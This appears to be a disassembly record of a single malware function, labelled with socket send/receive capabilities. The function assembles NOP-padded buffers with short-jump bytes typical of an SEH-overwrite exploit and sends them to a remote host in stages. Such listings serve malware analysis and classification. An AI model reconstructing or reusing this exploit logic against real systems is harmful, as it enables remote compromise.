Function at 0x415a3c
Capabilities:
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
push eax
mov eax, 8
add esp, 0xfffff004
push eax
dec eax
jne 0x415a45
mov eax, dword [ebp - 4]
add esp, 0xfffff684
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 8], ebx
mov ebx, ecx
mov esi, edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x415e48
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 8]
push eax
push dword [ebp - 4]
call sub.wsock32.dll_inet_ntoa
mov dword [ebp - 0x8980], eax
mov byte [ebp - 0x897c], 6
lea edx, [ebp - 0x8980]
xor ecx, ecx
mov eax, 0x415e60
call fcn.00407ee0
lea edx, [ebp - 0x58]
mov ecx, 0x28
mov eax, dword [ebp - 8]
call fcn.00404058
lea edx, [ebp - 0xcd]
mov eax, 0x417fc0
mov ecx, 0x60
call fcn.004026b8
mov eax, dword [ebp - 8]
call fcn.00403728
mov ecx, eax
add ecx, ecx
lea edx, [ebp - 0x9d]
lea eax, [ebp - 0x58]
call fcn.004026b8
mov eax, dword [ebp - 8]
call fcn.00403728
add eax, eax
add eax, 0x2f
lea edx, [ebp + eax - 0xcd]
mov eax, 0x418017
mov ecx, 9
call fcn.004026b8
mov eax, dword [ebp - 8]
call fcn.00403728
add eax, eax
add eax, 0x34
mov byte [ebp - 0xca], al
mov eax, dword [ebp - 8]
call fcn.00403728
add eax, eax
add eax, 9
mov byte [ebp - 0xa0], al
test bl, bl
je 0x415c02
lea eax, [ebp - 0x8975]
mov cl, 0x90
mov edx, 0xdac
call fcn.004028d8
mov edi, ebx
and edi, 0xff
mov eax, dword [edi*4 + 0x4183d4]
lea edx, [ebp - 0x8191]
mov dword [edx], eax
lea edx, [ebp - 0x8181]
mov eax, 0x417bd8
mov ecx, 0x168
call fcn.004026b8
mov byte [ebp - 0x7e5d], 0xeb
mov byte [ebp - 0x7e5c], 6
mov byte [ebp - 0x7e5b], 0xeb
mov byte [ebp - 0x7e5a], 6
mov eax, dword [edi*4 + 0x4183d4]
lea edx, [ebp - 0x7e59]
mov dword [edx], eax
lea edx, [ebp - 0x7e4d]
mov eax, 0x417bd8
mov ecx, 0x168
call fcn.004026b8
mov edi, 0xdac
lea edx, [ebp - 0x8975]
lea eax, [ebp - 0x7bc8]
mov cl, byte [edx]
mov byte [eax], cl
mov byte [eax + 1], 0
add eax, 2
inc edx
dec edi
jne 0x415bbf
mov byte [ebp - 0x6070], 0
mov byte [ebp - 0x606f], 0
lea eax, [ebp - 0x3186]
mov cl, 0x31
mov edx, 0x1c52
call fcn.004028d8
lea eax, [ebp - 0x525e]
mov cl, 0x31
mov edx, 0x1c52
call fcn.004028d8
jmp 0x415c51
lea eax, [ebp - 0x5a2e]
mov cl, 0x90
mov edx, 0x7d0
call fcn.004028d8
lea edx, [ebp - 0x598e]
mov eax, 0x417bd8
mov ecx, 0x168
call fcn.004026b8
lea edx, [ebp - 0x5272]
mov eax, 0x4183cc
mov ecx, 7
call fcn.004026b8
xor eax, eax
mov al, bl
mov eax, dword [eax*4 + 0x4183d4]
lea edx, [ebp - 0x5282]
mov dword [edx], eax
lea eax, [ebp - 0x10ae]
mov cl, 0x31
mov edx, 0xe29
call fcn.004028d8
push 0
xor eax, eax
mov al, byte [ebp - 0xca]
push eax
lea eax, [ebp - 0xcd]
push eax
push esi
call sub.wsock32.dll_send
xor edx, edx
mov dl, byte [ebp - 0xca]
cmp eax, edx
jne 0x415e32
push 0
push 0x640
lea eax, [ebp - 0x606e]
push eax
push esi
call sub.wsock32.dll_recv
test eax, eax
jle 0x415e32
push 0
push 0x68
push 0x418020
push esi
call sub.wsock32.dll_send
cmp eax, 0x68
jne 0x415e32
push 0
push 0x640
lea eax, [ebp - 0x606e]
push eax
push esi
call sub.wsock32.dll_recv
test eax, eax
jle 0x415e32
push 0
push 0xa0
push 0x418088
push esi
call sub.wsock32.dll_send
cmp eax, 0xa0
jne 0x415e32
push 0
push 0x640
lea eax, [ebp - 0x606e]
push eax
push esi
call sub.wsock32.dll_recv
test eax, eax
jle 0x415e32
test bl, bl
je 0x415dd4
lea edx, [ebp - 0x3186]
mov eax, 0x418234
mov ecx, 0x68
call fcn.004026b8
lea edx, [ebp - 0x311e]
lea eax, [ebp - 0x7bc8]
mov ecx, 0x1b5a
call fcn.004026b8
lea edx, [ebp - 0x525e]
mov eax, 0x41829c
mov ecx, 0x70
call fcn.004026b8
lea edx, [ebp - 0x51ee]
lea eax, [ebp - 0x6b34]
mov ecx, 0xa5e
call fcn.004026b8
lea edx, [ebp - 0x472a]
mov eax, 0x41830c
mov ecx, 0x84
call fcn.004026b8
push 0
push 0x10fc
lea eax, [ebp - 0x3186]
push eax
push esi
call sub.wsock32.dll_send
cmp eax, 0x10fc
jne 0x415e32
push 0
push 0x640
lea eax, [ebp - 0x606e]
push eax
push esi
call sub.wsock32.dll_recv
test eax, eax
jle 0x415e32
push 0
push 0xfdc
lea eax, [ebp - 0x525e]
push eax
push esi
call sub.wsock32.dll_send
jmp 0x415e28
lea edx, [ebp - 0x10ae]
mov eax, 0x418128
mov ecx, 0x7c
call fcn.004026b8
lea edx, [ebp - 0x1032]
lea eax, [ebp - 0x5a2e]
mov ecx, 0x7d0
call fcn.004026b8
lea edx, [ebp - 0x862]
mov eax, 0x4181a4
mov ecx, 0x90
call fcn.004026b8
push 0
push 0xcf8
lea eax, [ebp - 0x10ae]
push eax
push esi
call sub.wsock32.dll_send
push 0x12c
call fcn.00406070
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x415e4f
lea eax, [ebp - 8]
call fcn.004034cc
ret